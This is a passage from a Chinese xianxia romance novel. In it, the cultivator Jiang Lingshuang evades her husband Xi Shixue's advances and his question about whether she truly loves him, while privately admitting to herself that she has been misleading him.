妻子靠在他的怀里,一个洞虚境修士自幼锻体,她并不孱弱,腰背笔直,颇有韧劲,奚时雪低头衔住他从方才便惦记上的耳垂,不留一丝缝隙的禁锢给了他莫大的安全感。 耳廓被濡湿,姜令霜身子一抖,腰杆酥麻。 “阿霜,我们不是夫妻吗?”奚时雪贴着她的耳根细细密密地吻,“这般久了,你可有与我两情相悦?” 奚时雪是个正常的男人,姜令霜比谁都要清楚,他瞧着病恹恹的,可脱了衣裳着实高大,且酷爱与她亲热,她退一步他便能进十步,因此她咬紧了那条底线,从不开口提这件事。 跟小年轻谈恋爱可真是难缠,正处于血气方刚的年纪,姜令霜也着实无奈。 她握住他搭在自己腰间系带的手,在他怀里转身,单手抚上他的侧脸,脑子一转开始忽悠:“自然有两情相悦,这事你得给我些时间准备,毕竟……书上写的,第一次不会太好受。” “别怕。”奚时雪垂下长睫,俯身含住她的下唇轻吮,推着人往榻边走,“我准备过的,不会痛。” 姜令霜:“???” 他还准备了? 准备什么了? 被他推在榻上,有软被垫着倒是不疼,姜令霜还懵着,一抬头便瞧见奚时雪顶着那张美如高山雪莲的脸,单膝跪在她身侧,神情平静地解她的衣裳。 “两情相悦的人,做这些不都是应该的吗?” “时雪,你先等等,我、我……” 姜令霜按住自己摇摇欲坠的系带,越发觉得自己像个引诱良家妇男并狠狠将其抛弃的渣女,尤其这人瞧着也就二十出头的年纪,她这一百来岁了,忽悠人家丢了心,又在偷摸寻思将人抛弃的行为,有些过于可耻。 奚时雪抬眸看她,指腹摩挲着她的手腕内侧,眼眸微弯,问道:“还是说,阿霜在骗我,你并未与我两情相悦?”